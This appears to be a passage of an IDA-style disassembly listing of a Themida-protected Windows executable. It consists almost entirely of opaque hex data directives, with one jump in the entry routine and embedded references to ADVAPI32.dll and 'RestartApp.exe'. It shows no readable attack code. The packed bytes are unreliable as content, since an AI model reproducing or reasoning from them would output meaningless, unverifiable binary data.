		dd 0E3BE85DAh, 6C8449B1h, 0BAC70890h, 2A7BAC07h, 6520C419h
		dd 3EF32436h, 0DB00A666h, 23F94E4Ch, 0C2013F2Bh, 775A2292h
		dd 57D014DCh, 0BEE80C61h, 8559E2BFh, 8D144h, 0E7551B04h
		dd 6BE97428h, 0B03DAE00h, 4940DCC6h, 32D30625h,	0A1E0BBD2h
		dd 5E0034Ch, 6CA69D02h,	0E1BE2400h, 1FAD831Ah, 0C0594310h
		dd 8F8D5BCEh, 97E8555Fh, 2D745000h, 0F121D177h,	17ECF0BCh
		dd 0F65FC54h, 93A7F5FDh, 4484A9F0h, 98035FBBh, 0F870046Eh
		dd 1403FF4Ah, 0D3B8D435h, 99066309h, 300B6805h,	0DF9E48A8h
		dd 67C1F501h, 0DC3A3F9Bh, 0F6805C45h, 73CAB8E0h, 420F0041h
		dd 5364E70Bh, 58FA8F6Ah, 806C6C58h, 0B09CEAF1h,	51E1EC2h
		dd 30AC170Dh, 7EE04D48h, 0C26D4600h, 1E58D5CBh,	0FF1300A1h
		dd 878D570Ch, 94A03FB4h, 0DB009265h, 6C60C20Dh,	999899C7h
		dd 0C5AD0118h, 2F077205h, 0A54166C0h, 7BF11766h, 96CC00F4h
		dd 8C5B384Fh, 54E431C0h, 0F4449290h, 0CDA9C039h, 0CCBB342h
		dd 0A0E8348h, 640A983Ch, 768E6180h, 0AC7EEE9h, 38392120h
		dd 0D0530028h, 0DBB52AA2h, 18A0C20Fh, 4830F7B4h, 4C0AD5F7h
		dd 30A203Ah, 40802041h,	4A2F6E17h, 467D4400h, 6C16EBAEh
		dd 8DD11E54h, 986102C4h, 28C4E0BEh, 4830BC2Ch, 8FE7D509h
		dd 4CCB6008h, 5F88C8h, 54614160h, 386C3EABh, 0E62DB9C0h
		dd 123BB0h, 6A2AF7DBh, 9C1A34ACh, 507CCE00h, 247A8449h
		dd 727890CDh, 31AA38A7h, 9B4D209Ch, 98E879D3h, 450FD73Eh
		dd 0E358BC80h, 9B92738Ch, 0D2FD8B4h, 22F62C39h,	0E5A90138h
		dd 63B0BCDBh, 841100ECh, 7EF5EBC7h, 70F40061h, 0B6C64EA1h
		dd 6F18E796h, 0EB1365Eh, 502E00ECh, 2B18E623h, 0FA0246E1h
		dd 0D65B1482h, 6AD8906Ch, 65CB003Ah, 0EEC5B697h, 0DE05CC8Eh
		dd 1DA22423h, 22D5C00h,	0B110E66h, 0FBE59FB9h, 0AE04DB00h
		dd 2105F5F0h, 0CF78EEE4h, 20E91082h, 0BFE11610h, 0A8120418h
		dd 4DAAE06h, 8006421Ch,	9790C344h, 40C0D0C5h, 4C9836ACh
		dd 0FB0AB142h, 283AA4h,	0F0E0F730h, 7A006682h, 0AD892CC9h
		dd 0B82AF6h, 9F6EE16Ch,	2F1595FBh, 412CCE71h, 0BE11C45Ah
		dd 4D918C0Eh, 94DE5520h, 7C00291Fh, 8789BB78h, 0EE4B147Dh
		dd 7B48B821h, 0AA3D0056h, 59EA0B85h, 0C1017F48h, 0F4BE1F60h
		dd 48245A91h, 5E3A00F1h, 0C27B4390h, 3B0099B5h,	0CEC5B12Dh
		dd 167CBCA4h, 304A0AD6h
		dd 58D42924h, 9D609A00h, 1A96A8F0h, 756400A2h, 18374D44h
		dd 0DB094053h, 105B390Eh, 263EE47Ch, 40F49130h,	26C40712h
		dd 0AFF10F01h, 0C209011Bh, 0C0E9C60h, 0C6BDBEE9h, 60548571h
		dd 0D82C18F4h, 450782A3h, 8C2A8B40h, 3B4ED040h,	5590A0h
		dd 4709A661h, 3F0DA7C3h, 1AE84500h, 8EF3ED9Bh, 405494ECh
		dd 791C5014h, 0A3EB5700h, 0F92A0FFBh, 84C301F0h, 2B403FE3h
		dd 8B85D196h, 83037731h, 0B0602AECh, 1599EEBh, 9724549Ch
		dd 0D8A875F4h, 0B90C690Bh, 39BE1E81h, 1317BACh,	626FF04Ah
		dd 403F7502h, 0DFE1575Ch, 40291300h, 1B320410h,	2820453h
		dd 0E2EC3A7Ch, 0BA35004Ch, 56EB7E4Ah, 1D882638h, 3A8A40E8h
		dd 0EF047664h, 3F5C239Dh, 10EC88D9h, 2D0C002Bh,	1F50CFA3h
		dd 0B92618C3h, 730150D8h, 0EB3A46F3h, 72FF918Eh, 0B43D8860h
		dd 78002CFCh, 0D43CD3F6h, 79925695h, 356F0A31h,	124C8732h
		dd 0FE2C00DBh, 303F944Ah, 68AB6900h, 0F9DA6FB1h, 91ED03F7h
		dd 0EBDBF399h, 295B42E1h, 0C4D80050h, 7AF5E6BBh, 45140649h
		dd 0D9D2200Ch, 0A7CBB800h, 5F09F475h, 3E67A47h,	3927931Ah
		dd 810F8A59h, 89F23ED4h, 0FD501020h, 0B806008Bh, 0C98E4850h
		dd 76005C74h, 37B4AC88h, 3C445h, 0BE698F4Fh, 5F6C934Ah
		dd 0DEC891C0h, 0CE0D9Fh, 66588CF1h, 442EB07h, 7CE47507h
		dd 4F9ED3h, 5B705CA4h, 0ED39C332h, 2A904B07h, 5F008AD0h
		dd 1874B18Fh, 6FB5C6Ah,	1D3182CAh, 4200A1B6h, 0FC22F4DFh
		dd 2A7BF06h, 0EF9BC814h, 1A403972h, 10913A32h, 482E600h
		dd 0D8E9C6h, 4CAE0524h,	0B7A2E022h, 0F0A5804h, 8600BD20h
		dd 72D0C193h, 82942D38h, 0BF1FC435h, 0CC710Ah, 336E7AF2h
		dd 0E8076839h, 702990ECh, 5D5949E0h, 0D13B606Ch, 0E1558BB3h
		dd 2903ECE2h, 3AFF7F1Bh, 4B6090E0h, 21A300DFh, 911E2EB6h
		dd 38133C28h, 0A00171F6h, 244296BAh, 0DCD09930h, 0F8E979h
		dd 8AC160B9h, 0C8243970h, 7804F80Fh, 34B4BCE4h,	2FE507A1h
		dd 51EB9F77h, 73C0A7DAh, 94C800D8h, 2C2876BBh, 6AE004Bh
		dd 192DA0A1h, 0ED1326DAh, 0C400018Fh, 43C93168h, 2C160F3Fh
		dd 1C25C1CDh, 78F802D4h, 0E720325Eh, 0EC56F1A6h, 0B7BF1CC4h
		dd 0EC21C09Fh, 8CE9642h, 0E500AD90h, 0E48831EDh, 0B0D4A92Fh
		dd 0C5EB0A68h, 4C5E6Dh,	5162EFE1h, 0DF0FAF3Eh, 40D8D69Bh
		dd 40F7BB31h, 0BDF60103h, 98CB8F27h, 0FE5C2463h, 8791000h
		dd 0DE5D1880h, 3FD001F9h, 0CC4565D2h, 0B02998h,	0DC3B8953h
		dd 642550h, 225DDF61h, 74232F46h, 0CF9A9001h, 0E6C1BE5Ch
		dd 0B9B8C014h, 3340A818h, 7EFF7957h, 0D1DF00EDh, 0D466AE0Fh
		dd 0D201632Ah, 70DB60FAh, 0D44CE6C4h, 19C50FA4h, 78E2ABCBh
		dd 0E051ECC6h, 0A6001CA4h, 92226681h, 80A9DE95h, 0D6DC9CC9h
		dd 0AF2296Bh, 0ADC76600h, 0D2FBBB45h, 0B45B4869h, 83299480h
		dd 59738D5h, 60C1F5C7h,	0CFF00277h, 483C4C22h, 0BFCA5C87h
		dd 81EA9DC1h, 754AE85Eh, 23DAFB00h, 45C0286Ch, 0DBC230E4h
		dd 0D673331h, 0BF50BD09h, 774C057Bh, 0E67E44C0h, 4E8B0095h
		dd 9DC3F491h, 2C01061Ch, 39231E33h, 0C9808932h,	803743E4h
		dd 14916C9Ah, 0FE8EA03h, 0AFDFE881h, 0B65E020Eh, 0A08DFB93h
		dd 0D6CC7441h, 40231CE0h, 4D5B531Dh, 98EA201Eh,	64747807h
		dd 7762B7C8h, 1E0CC41Dh, 80D38BE7h, 5712E3B9h, 6E093830h
		dd 64B6E497h, 254CF6C0h, 1080A907h, 0F2231876h,	3E050378h
		dd 65964092h, 0FD0884B3h, 2AB0355Bh, 67A338h, 71D13E90h
		dd 4C80BEDCh, 0D375804h, 40A20874h, 48166B00h, 3ECCAF53h
		dd 0E8005070h, 0BE464E69h, 0B678659h, 6CCF40D3h, 0A62AC448h
		dd 509D207h, 60A080C1h,	65CAA5h, 166FBF5Dh, 0D438989Ah
		dd 0E05980h, 1471ED03h,	797393D3h, 6F4AC104h, 3082F950h
		dd 27772EE4h, 766990ECh, 0C20FA080h, 80AF1199h,	4753225Bh
		dd 916C1306h, 33800A1h,	73371C61h, 5400E9FEh, 66CF351Bh
		dd 9606BDAAh, 15B56064h, 0A494880Dh, 67E7C860h,	0EA813C83h
		dd 2F6053Dh, 2BF47C56h,	7C440BBEh, 0EE192F00h, 0A8DACCFCh
		dd 19BF6018h, 7071398Fh, 0E98EBE03h, 9FBBDF5Dh,	38C1BCD4h
		dd 542C0966h, 0DC311214h, 1142F04h, 18E2E6h, 5BCA27FAh
		dd 1D286E82h, 0BBB052h,	1FB7BE68h, 0BF247C6Ch, 823EBC89h
		dd 920BA190h, 64D52361h, 4E36AAE0h, 95073179h, 2C439AA1h
		dd 0F8E890F9h, 50A0052h, 5A754DAAh, 1709627Bh, 908F137h
		dd 0F9E0805Ch, 733954C4h, 0CE3D00E5h, 40374607h, 0DD25D2C8h
		dd 0B6823B8h, 3EF900E7h, 66743334h, 0A8001968h,	0FBB5C6A7h
		dd 260BEAEh, 4A9C7921h,	0E8D9F56Dh, 0C1FFEB00h,	12F3053Ch
		dd 0C10869EDh, 81C0A810h, 0B408EE0h, 0A0CA4639h, 9A43E6D0h
		dd 0D0681ABDh, 848090E5h, 0AC75A65Eh, 293F9830h, 11F3C99h
		dd 45B078D1h, 0DC308A1Bh, 0DB0BE6B5h, 986F1D4Ch, 77293Ch
		dd 87C9323h, 98E5D5F8h,	12A88954h, 0F90086FAh, 401E3F25h
		dd 9105AE8h, 0DC720657h, 9A009C44h, 3C2F17BEh, 0FC42127Ah
		dd 0E0720E95h, 6C81490Dh, 0FD81DEA4h, 6E0424CDh, 90BBE42Dh
		dd 0E4AB28A0h, 0D27A3ECAh, 6119A333h, 0BDE0D3A8h, 0A42A632Ch
		dd 0BF98530Eh, 0A2947803h, 443FE2ADh, 6E3604F8h, 40385F93h
		dd 0BF414440h, 0F9330058h, 7FD446E6h, 0A00B02CFh, 9838CD59h
		dd 5275BFDCh, 991EEC3Fh, 0B15D0096h, 0BEF4894Ah, 5B676318h
		dd 5002E559h, 7FC4A4D0h, 0A82E00E1h, 6123A6BFh,	4612896Ch
		dd 2880D7BBh, 0BE76F58h, 3FAAFC39h, 0FDB57448h,	0D8137200h
		dd 1EDDE55Fh, 0BE48C4EDh, 0D264A409h, 0D843074Fh, 0CA39DC6Eh
		dd 0F8F0413Fh, 3DCB2DD0h, 205A2BC4h, 48D7A578h,	4C98E205h
		dd 30885496h, 47A02C3h,	0E695DAADh, 1B1308D0h, 98045A2Ah
		dd 3642D450h, 14DA645Bh, 0BD07D891h, 0A7F0CB2Fh, 27CD4C21h
		dd 78A5DFD2h, 0BFC8A498h, 9532D40Eh, 43EC868h, 0C20BE9A4h
		dd 9CC045CCh, 61FD673h,	0D0AC69CAh, 0EB80E110h,	68507845h
		dd 6A123090h, 0C880D77Ch, 17165B77h, 0D01FF567h, 35B94950h
		dd 3BE2F705h, 84F29639h, 99DF3D18h, 3C01EB1Fh, 22E7E5B0h
		dd 54787DBDh, 3E9B9900h, 76C21A90h, 0F870EBA1h,	64919873h
		dd 456FAB00h, 66287Bh, 2AC1F184h, 5F094642h, 4D8EAD01h
		dd 0F3858387h, 0D5801028h, 0ECB64425h, 0D2ACC100h, 0A0AF328Fh
		dd 0C23F05EFh, 2091E8D7h, 0AB06CF94h, 291C0A02h, 0C0F394D8h
		dd 0FF96194h, 0C42CFCB0h, 1BA0C203h, 5D86688h, 0E78E6A00h
		dd 0BE4906B3h, 0B16316E9h, 82242097h, 51008B89h, 0BDDA6D6Eh
		dd 99E8C814h, 45608104h, 0E8305CB0h, 6516E9B6h,	0C860C38Dh
		dd 0ECDD823Eh, 25528DBh, 88F94AD8h, 380E0B50h, 0C3E3D8C8h
		dd 0F0D3CCC5h, 7F5B7F7h, 24EA37B6h, 6C503036h, 9150BF2Ah
		dd 9B4C8D1Ch, 87860086h, 79C56BBEh, 6AA800CCh, 0C2CEF13Ah
		dd 1A582E34h, 246909E4h, 3FC06912h, 0D1D68461h,	104C0E40h
		dd 8DAAC01Eh, 1C4E8AF3h, 83FF8B2h, 4C37A296h, 2A802840h
		dd 0D0E56CACh, 7CA7B72Eh, 50C85612h, 259F0054h,	158746BBh
		dd 0BC01553Dh, 0EF5ECD4Bh, 9EE119D1h, 4180C468h, 0A169A551h
		dd 0BCFF4800h, 13DBE0C0h, 0B51A079Bh, 59C3AA6Dh, 0F221DCA4h
		dd 0C89700ECh, 953FE755h, 0BA200756h, 0E3D22503h, 7CF01E19h
		dd 0EF00ABE8h, 2D9DDAAEh, 16B59E45h, 0D03B0D78h, 0EE14C9E4h
		dd 0FD007B7Ah, 1117FFFAh
		dd 16E35A9h, 944A0674h,	300A0792h, 9CA0938Ch, 5E445B02h
		dd 2CF5002Eh, 639ED13Ah, 94A43C54h, 277DF44h, 0F46C8178h
		dd 0D8E0F59Dh, 1B5CA3E8h, 28361FF6h, 388B795Fh,	0F7E8495Ch
		dd 0CF3AC47Ch, 63864604h, 3648F43Ah, 89C45F58h,	2C646Eh
		dd 0B11DBA76h, 8F35E1B3h, 0F7070100h, 13486206h, 419C05ECh
		dd 0C08B4297h, 0BE2CBDF0h, 0B033054Ah, 77A99196h, 5219037h
		dd 75000E1Ch, 960D4998h, 85960E6h, 2DDE4DDFh, 0C1313C00h
		dd 79FFB182h, 351D0087h, 0AFAAFA42h, 0E550B44Bh, 8D07CD18h
		dd 0D07FC5E6h, 506B007Bh, 16BE301Ch, 13602h, 106CFF59h
		dd 791F28A2h, 0F41F4844h, 0D37441B0h, 313B00A9h, 2E4C460Fh
		dd 80F9EA6Ah, 0FB392698h, 2F68F166h, 0F272C6BAh, 0AFFA0F07h
		dd 727014A5h, 1B5153FFh, 39D9B577h, 85401BE2h, 0DB011DD8h
		dd 0F0783F9Dh, 218FE4B2h, 0EC23AB5Bh, 0B7800C86h, 300C26Fh
		dd 0DE8D9B37h, 4E0579h,	38DB324Fh, 230458B9h, 6F00CFB0h
		dd 0B45E48CEh, 606B2EA6h, 341651EFh, 9F24E4FAh,	9C00E713h
		dd 676EF598h, 88C900DCh, 0B3190428h, 30C0F9BEh,	6F8279A1h
		dd 0AAF80786h, 0F0DA3FD3h, 8AA945B7h, 0ABDDC500h, 4A676072h
		dd 0AD6D037Eh, 14833DFAh, 935CF7B0h, 0D0F9C707h, 0B8306B2Ch
		dd 50A961B0h, 0A770B5h,	754A0954h, 0DB9F24E5h, 0B850702Ah
		dd 954DB00Ah, 0BCFC9Ah,	0BA5547DAh, 6AC3D9h, 2F66983Ch
		dd 0C726CBC1h, 0D22CFF12h, 6EEDD001h, 0BAD9AF4Ch, 61C9F0E0h
		dd 0B84940FEh, 647980DCh, 28933126h, 0A71C00BCh, 338B8AEEh
		dd 4C035C7Dh, 90459E0h,	0BE3900F1h, 0B6479862h,	10141B5h
		dd 754892C4h, 76D45727h, 5D5600D4h, 0F64BFF96h,	680183D8h
		dd 91535FFCh, 4052A8EFh, 0F2320D9h, 300044E8h, 0E5056676h
		dd 60B4F37Dh, 0F9321EDh, 0CA38BED8h, 5D308F61h,	1411809Fh
		dd 16099EDh, 3B90504Bh
dword_549154	dd 434A078Eh, 45A88B90h, 62057B63h, 27F42D1Fh, 83EA9C40h
					; DATA XREF: Themida_:loc_55E0E5o
		dd 0E98EFECh, 8CC2D25Bh, 0B66FE340h, 4212FE09h,	10206E2Eh
		dd 72B20DBh, 13D35D62h,	3273839Eh, 0B672490Ch, 1F6529E6h
		dd 255642F5h, 40CCCC0h,	67467F03h, 2DFD08C3h, 8B802EF1h
		dd 786CEDB9h, 486E6100h, 252F029Fh, 7E6A00C5h, 300E772Eh
		dd 4B03B004h, 62183EDEh, 6E83E767h, 815C8FE5h, 4B7300F5h
		dd 5D9D2116h, 0F102DB95h, 19641CA2h, 92C8402Bh,	62350385h
		dd 0AF5B6D04h, 0F98E8F98h, 0AC7AA700h, 5FDB58DAh, 2051D814h
		dd 0AE125586h, 34226FFFh, 289C91E6h, 187E4h, 1FB5EEB7h
		dd 4E54B0FEh, 342B801Eh, 0E9B09D9Fh, 58F15D6Fh,	0BC00574Ch
		dd 6C2C4779h, 8700C1E1h, 31A653C5h, 181F7403h, 612188DBh
		dd 0B70CBA2Eh, 4902083Eh, 0A1F00A8h, 0ACD3C43Dh, 6454FFB0h
		dd 3A0196B8h, 0CE5D61BFh, 43F5E350h, 0F819C0B9h, 0D5EA8041h
		dd 0F7FA805Fh, 0F7388EFh, 0F510285Eh, 51B30068h, 157ADEBh
		dd 0F41CD4DCh, 0C980332Dh, 0AF65058Ah, 9BB606A6h, 79E28F2Eh
		dd 30098E24h, 33525880h, 4C5BBh, 0F6C2D45h, 0AF2CC999h
		dd 791450FDh, 6F098D53h, 934C2D7Fh, 0C1340290h,	0D06C050Ch
		dd 0A063C587h, 1138EDE8h, 0E67016B0h, 0B5DF718h, 3D925E49h
		dd 8F3D66D9h, 0F000C6D1h, 0E2DEEF88h, 0E4F8E90Fh, 0F86D0011h
		dd 6BF42A67h, 9422DB45h, 0C0BA0A22h, 87A0F187h,	0F07102EDh
		dd 0F303CA77h, 8E0F4E26h, 49925A1Ch, 9388031h, 0B3C2A840h
		dd 9210C04Dh, 85BB68Eh,	1E717E03h, 0DDE5E1C4h, 959DC000h
		dd 60845337h, 0F6597068h, 9309E1D0h, 180818BCh,	73DC19D0h
		dd 0EA9A387Fh, 99F260FCh, 2A9D072Dh, 2CE46D00h,	0E583F980h
		dd 14B0FE68h, 1CCFE3Bh,	0D8FEFFBFh, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_549345:				; CODE XREF: start:loc_4E1265j
					; DATA XREF: start:loc_4E1086o
		jmp	loc_54C83E
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 304h
		dd 7FFEh, 4 dup(0)
		dd 0A4C60000h, 54h, 3 dup(0)
		dd 10000h, 4 dup(0)
		dd 5AC00000h, 5Bh, 6 dup(0)
		dd 620000h, 0Dh	dup(0)
		dd 740000h, 0
		dd 82C10000h, 76CD0000h, 77E7h,	0
		dd 45A70000h, 0C7854240h, 77E7h, 8 dup(0)
		dd 43650000h, 0FFA7h, 2	dup(0)
		dd 56430000h, 5	dup(0)
		dd 70F90000h, 331Eh, 99E90000h,	8 dup(0)
		dd 2FE80000h, 77E8h, 0Ah dup(0)
		dd 0F6FB0000h, 58h, 6E2B0000h, 0E7320000h, 58h,	0BFFF0000h
		dd 0A07Fh, 0Fh dup(0)
		dd 800000h, 5 dup(0)
		dd 68DD0000h, 0CCE4005Ah, 3B17h, 3 dup(0)
		dd 3040000h, 7FFEh, 1C480000h, 0
		dd 0E0A00000h, 94990059h, 0A1h,	6 dup(0)
		dd 30380000h, 55691FA9h, 7 dup(0)
		dd 0EC0000h, 2 dup(0)
		dd 3040000h, 7FFEh, 0B2AA0000h,	319Eh, 9FF80000h, 0A037FFFFh
		dd 0FFFF00A1h, 0F9457DFAh, 70C40EECh, 0D7C800A1h, 0FFA7h
		dd 4 dup(0)
		dd 12540000h, 77F5h, 28380000h,	58h, 0B7510000h, 0A07Fh
		dd 3 dup(0)
		dd 69DD0000h, 0A1h, 7 dup(0)
		dd 0FE180000h, 0FFBFh, 10000h, 0
		dd 931F0000h, 7F60h, 8 dup(0)
		dd 3040000h, 0E97FFEh, 4, 5 dup(0)
		dd 0FFFF0000h, 0FFFFh, 4 dup(0)
		dd 28020000h, 10100000h, 8 dup(0)
		dd 0EA230000h, 1D8F005Bh, 1, 0Fh dup(0)
		dd 5CF50000h, 0FDEAh, 4	dup(0)
		dd 758D0000h, 8001h, 0Ah dup(0)
		dd 1B400000h, 0D88476B4h, 4D16h, 2 dup(0)
		dd 0C7260000h, 77E7h, 304F0000h, 59h, 0
		dd 6B670000h, 0F086h, 3	dup(0)
		dd 0A40000h, 58160000h,	58h, 3 dup(0)
		dd 87450000h, 79E9h, 5AA60000h,	2 dup(0)
		dd 0FE60000h, 0A0h, 97DB0000h, 3ADEh, 284A0000h, 58h, 0DB990000h
		dd 4 dup(0)
		dd 0FCFC0000h, 1168001h, 5Ch, 37600000h, 0A8DCE918h, 40057h
		dd 5 dup(0)
		dd 0FFFE0000h, 0FFFFh, 2 dup(0)
		dd 0DC5B0000h, 646Ah, 9	dup(0)
		dd 39200000h, 0A2h, 3 dup(0)
		dd 2DF00000h, 1ECCh, 7 dup(0)
		dd 0C9890000h, 23BC0057h, 0FFFFh, 4 dup(0)
		dd 8CE00000h, 0FFFFh, 1Ch dup(0)
		dd 0FFFF0000h, 0FFFFh, 2 dup(0)
		dd 0BEB30000h, 5Ch, 0
		dd 9C0000h, 6 dup(0)
		dd 3040000h, 7FFEh, 6 dup(0)
		dd 0E5860000h, 0E1Dh, 0
		dd 0FF540000h, 12h, 8 dup(0)
		dd 234A0000h, 91AB0014h, 59h, 0
		dd 9F70000h, 0A1h, 776F0000h, 5Bh, 0Bh dup(0)
		dd 77DF0000h, 0FFC477E7h, 12h, 0E00000h, 6030h,	0
		dd 56430000h, 0
		dd 0FF540000h, 12h, 8 dup(0)
		dd 0FFFE0000h, 0FFFFh, 0
		dd 69DD0000h, 0A1h, 4 dup(0)
		dd 37210000h, 3B110483h, 23E80ABEh, 0CD0E00A2h,	5Ch, 3 dup(0)
		dd 28380000h, 58h, 2 dup(0)
		dd 519D0000h, 0B368h, 6	dup(0)
		dd 22220000h, 22222222h, 8CE02222h, 0FFFFh, 30DF0242h
		dd 0FFBAA9C5h, 3762FF53h, 9BAC0058h, 0A3h, 3 dup(0)
		dd 3E680000h, 77E8h, 0Dh dup(0)
		dd 10000h, 90400000h, 0B134FFFFh, 0A3h,	8DB10000h, 0
		dd 0C4860000h, 77E7h, 8	dup(0)
		dd 0CA000000h, 3, 7 dup(0)
		dd 0C49D0000h, 5Ch, 0
		dd 0CC0000h, 5 dup(0)
		dd 40h,	2Bh dup(0)
		dd 33330000h, 2	dup(33333333h),	3333h, 5 dup(0)
		dd 97E80000h, 0FFFFh, 0
		dd 20000h, 0
		dd 77F5h, 58160000h, 58h, 3 dup(0)
		dd 0B36C0000h, 0EF73h, 0
		dd 2B3C0000h, 7FFEh, 10000h, 24E40000h,	6352h, 10000h
		dd 91A20000h, 97h dup(0)
		dd 230000h, 99950054h, 0A5h, 4 dup(0)
		dd 0FF380000h, 12h, 0
		dd 3040000h, 7FFEh, 4 dup(0)
		dd 0FDBB0000h, 59h, 94A00000h, 5D1CFFFFh, 0CB40h, 2 dup(0)
		dd 24Ah, 2 dup(0)
		dd 0CBFD0000h, 5Ch, 28380000h, 95FA0058h, 283862D4h, 58h
		dd 3 dup(0)
		dd 3040000h, 96507FFEh,	0FFFFh,	0
		dd 31540000h, 0A2h, 3 dup(0)
		dd 3040000h, 7FFEh, 7 dup(0)
		dd 0FE170000h, 2292FFA3h, 0A1h,	0Bh dup(0)
		dd 0C3520000h, 0BE80003h, 0FFB0005Ah, 20161h, 0FC670000h
		dd 59h,	5 dup(0)
		dd 0BA9A0000h, 54h, 2 dup(0)
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 10400000h, 0B1h, 3 dup(0)
		dd 0DC790000h, 0ED8959B9h, 1758h, 3 dup(0)
		dd 616A0000h, 5FCDh, 3 dup(0)
		dd 3E6300B8h, 57h, 2 dup(0)
		dd 3040000h, 7FFEh, 0Dh	dup(0)
		dd 7D10000h, 0B10E0000h, 0DB1Bh, 3 dup(0)
		dd 25Dh, 3 dup(0)
		dd 0A1FE0000h, 0B1h, 0
		dd 0C96A0000h, 66C077D4h, 3536h, 92340000h, 0B8AF00A1h
		dd 6276h, 2 dup(0)
		dd 0B1680000h, 0A0h, 2 dup(0)
		dd 2E0F0000h, 75377F5h,	0FFA7h,	0
		dd 0E1090000h, 59h, 8E000000h, 3 dup(0)
		dd 58160000h, 58h, 8 dup(0)
		dd 6E2B0000h, 10000h, 6	dup(0)
		dd 7FD80000h, 1F800A3h,	9, 6 dup(0)
		dd 230000h, 0C96A0054h,	77D4h, 3 dup(0)
		dd 50910000h, 59h, 0AC5E0000h, 0C49B77E7h, 0ED76005Ch
		dd 5Bh,	2 dup(0)
		dd 11110000h, 727C1111h, 1431h,	0
		dd 8C0A0000h, 0A1h, 24670000h, 0FFFFh, 0Ah dup(0)
		dd 10140000h, 0Eh, 0
		dd 0AA5D0000h, 0AA3B0058h, 58h,	0
		dd 0E90000h, 4,	65520000h, 72617473h, 70704174h, 6578652Eh
		dd 0E1090000h, 59h, 3 dup(0)
		dd 4EC80000h, 80F4h, 0A4C30000h, 0B0513FFh, 57h, 6B360000h
		dd 30DFFA3Eh, 8C0A0000h, 0F4B200A1h, 0C154h, 2B170000h
		dd 6424h, 0Ch dup(0)
		dd 0A0990000h, 19C677E7h, 8AC5h, 0
		dd 10000000h, 40h, 2 dup(0)
		dd 0A34B0000h, 8818h, 9	dup(0)
		dd 69390000h, 5Ah, 8 dup(0)
		dd 0FF540000h, 12h, 0
		dd 0FFFF77DDh, 0FFFFh, 13h dup(0)
		dd 389E0000h, 1E77h, 0
		dd 79630000h, 77E7h, 2 dup(0)
		dd 0ED0B0000h, 0DA3h, 3	dup(0)
		dd 0A0700000h, 0FFFFh, 0
		dd 0D80000h, 4 dup(0)
		dd 25Ch, 2 dup(0)
		dd 28380000h, 940058h, 0
		dd 2D860000h, 5Dh, 0B80000h, 0
		dd 0FCAB0000h, 59h, 4 dup(0)
		dd 0FFFF0000h, 7FFFh, 4	dup(0)
		dd 0B1CA0000h, 0AFh, 3 dup(0)
		dd 0FFFE0000h, 0FF53h, 0
		dd 3040000h, 23E87FFEh,	0A2h, 9	dup(0)
		dd 0C03D0000h, 1, 22h dup(0)
		dd 9BC30000h, 8329h, 5 dup(0)
		dd 0BA9B0000h, 0D7C80054h, 0FFA7h, 2A0000h, 0Eh	dup(0)
		dd 0CF000000h, 3040054h, 7FFEh,	0FFF00000h, 77FFh, 0
		dd 0F210000h, 0A1h, 0
		dd 0F4FB0000h, 0FFA8h, 3 dup(0)
		dd 3C1C0000h, 0BC6Eh, 91A20000h, 7 dup(0)
		dd 22D80000h, 0A2h, 0FFFF0000h,	0FFFFh,	4 dup(0)
		dd 780000h, 0
		dd 6CCD0000h, 296Ah, 10h dup(0)
		dd 22D80000h, 0A2h, 24h	dup(0)
		dd 0FCB10000h, 0CDB0h, 0A0h, 0
		dd 6E2B0000h, 8	dup(0)
		dd 40h,	5 dup(0)
		dd 6BD30000h, 0CF00024Ah, 54h, 0D4370000h, 407Ch, 35B0000h
		dd 0
		dd 270E0000h, 8899h, 3040000h, 7FFEh, 3040000h,	7FFEh
		dd 6E380000h, 58h, 0
		dd 8CE00000h, 0FFFFh, 0
		dd 6E2B0000h, 4	dup(0)
		dd 6EA90000h, 4C8h, 10000h, 2 dup(0)
		dd 0FCFC0000h, 8001h, 0
		dd 20000h, 3E3B0000h, 0E900A1h,	4, 8 dup(0)
		dd 0D8840000h, 4D16h, 0BE9B0000h, 0D9CCh, 0FFE00000h, 12h
		dd 3 dup(0)
		dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h
		dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0)
		dd 3040000h, 7FFEh, 5 dup(0)
		dd 0FF3C0000h, 0FFFFh, 0
		dd 190000h, 0
		dd 0AD8A0000h, 5A2h, 0
		dd 6CB00000h, 0A1h, 3 dup(0)
		dd 40000000h, 5Bh, 3 dup(0)
		dd 35A00000h, 200Ch, 2 dup(0)
		dd 12660000h, 7FFEh, 2 dup(0)
		dd 2F380000h, 5Dh, 66E80000h, 3	dup(0)
		dd 3040000h, 7FFEh, 0C6E00000h,	6617EDD4h, 0FFFFh, 3 dup(0)
		dd 0DE0D0000h, 5Bh, 0
		dd 25Bh, 0B8370000h, 0E42Ah, 3 dup(0)
		dd 66FE0000h, 0FF54FFA4h, 12h, 93930000h, 0A1h,	28380000h
		dd 58h,	0
		dd 5ECC0000h, 5FDE77DDh, 8AC5h,	0
		dd 8D8D0000h, 0CE56h, 0
		dd 0Ch,	7B8977D4h, 5Bh,	3 dup(0)
		dd 3E0000h, 0A0h, 0EBB30000h, 30477F7h,	7FFEh, 8B820000h
		dd 77E7h, 30DF0000h, 0A9C5h, 0BE90000h,	5F80h, 9 dup(0)
		dd 2EF50000h, 0A03Ch, 4	dup(0)
		dd 20000h, 5 dup(0)
		dd 7DB40000h, 58h, 2 dup(0)
		dd 40h,	0
		dd 61530000h, 59h, 2F890000h, 0AB00h, 9AE00000h, 2C5h
		dd 0FF7A0000h, 8400FFh,	3E0000h, 77E6h,	5 dup(0)
		dd 273A0000h, 3E5Fh, 2 dup(0)
		dd 0A8370000h, 77E7h, 0
		dd 3040000h, 7FFEh, 0Bh	dup(0)
		dd 52CC0000h, 0A1Fh, 4 dup(0)
		dd 0A5E70000h, 60B500A5h, 9D7h,	6BE80000h, 5CB500B2h, 77E7h
		dd 8 dup(0)
		dd 9C370000h, 0A1h, 0FFE00000h,	0FFB00012h, 231h, 2 dup(0)
		dd 0F0000000h, 8E00004Dh, 0
		dd 1F00000h, 0BF30h, 0
		dd 40h,	28380000h, 58h,	10h dup(0)
		dd 0D7C80000h, 0FFA7h, 3 dup(0)
		dd 43C00000h, 0C4869785h, 8CE877E7h, 0FFFFFFFFh, 0FFFFh
		dd 6180000h, 77E8h, 0FCD60000h,	8C7CB402h, 0
		dd 0F6F40000h, 21688005h, 77E8h, 3 dup(0)
		dd 40000h, 8 dup(0)
		dd 1000000h, 3 dup(0)
